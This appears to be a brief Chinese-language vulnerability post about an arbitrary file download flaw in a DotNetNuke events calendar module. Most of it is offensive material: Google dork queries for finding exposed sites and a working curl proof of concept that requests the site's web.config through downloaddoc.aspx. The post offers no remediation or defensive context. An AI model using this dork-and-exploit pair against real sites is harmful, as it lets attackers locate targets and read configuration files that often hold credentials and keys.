DotNetNuke1.x 文件下载漏洞

2021-12-13 16:48:19 浏览数 (1)

Google

代码语言：javascript复制
intext:''Copyright 2019 by Associated Builders and Contractors''
inurl:''/desktopmodules/eventscalendar/'

POC：

代码语言：javascript复制
curl "<site>/desktopmodules/eventscalendar/downloaddoc.aspx?f=~/web.config"
google

0 人点赞